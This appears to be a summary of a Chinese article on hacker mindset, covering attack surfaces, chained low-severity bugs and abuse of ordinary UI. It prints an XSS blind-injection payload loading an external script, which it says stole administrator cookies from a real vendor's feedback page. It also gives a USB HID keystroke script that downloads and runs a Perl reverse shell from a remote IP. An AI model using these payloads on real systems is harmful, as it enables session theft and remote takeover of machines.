Seeing a Box and Thinking X: Hacker Mindset and Practical Attack Techniques

In network security a common saying is "unknown attack, know defense" and the article argues that every security professional should think like a hacker. By adopting a hacker’s perspective you can better identify where to defend.

The concept of an attack surface is illustrated with the image of a large black dot on a white background. The black dot represents the obvious part that attracts attention, while the surrounding white area symbolizes the many unseen parts that a hacker will consider. Security is likened to the "shortest board of a barrel" – the overall security depends on fixing the simplest, most overlooked problems.

The author defines a hacker in eight Chinese characters: "突破创造，守正出奇" (breakthrough creation,守正出奇). A hacker is portrayed as a curious geek who constantly explores new ways, especially in the network world.

The article also discusses low‑tech or "猥琐" attacks, where a combination of several low‑severity vulnerabilities can be more damaging than a single high‑severity one.

Example of an XSS blind injection submitted to a feedback form:

</textarea>'"><script src=http://t.cn/R63bUP9></script>

This payload was posted to the feedback page of the 360 mobile game customer‑service app, resulting in a successful XSS attack that stole the administrator’s cookies.

The recurring theme "seeing a box and thinking X" means that when a functional UI element is encountered, a hacker first asks whether it can be abused.

A practical USB HID attack is demonstrated using a phone running the Nethunter OS and the DuckHunter HID tool. The phone is connected to a Mac via USB and emulates a keyboard to execute commands. The HID script to open iTerm and run ifconfig is:

CONTROL SPACE
STRING iterm
ENTERENTER
STRING
ifconfig
ENTER

The same technique can be extended to launch a reverse shell by downloading and executing a Perl script:

CONTROL SPACE
STRING iterm
ENTERENTER
STRING wget http://45.32.8.108/b.pl.txt -O /tmp/b.pl; perl /tmp/b.pl
[set listening IP and port]
ENTER

The author concludes that modern hackers are ordinary people whose power lies in their mindset and willingness to repurpose normal functionalities for attacks, rather than relying solely on high‑tech exploits.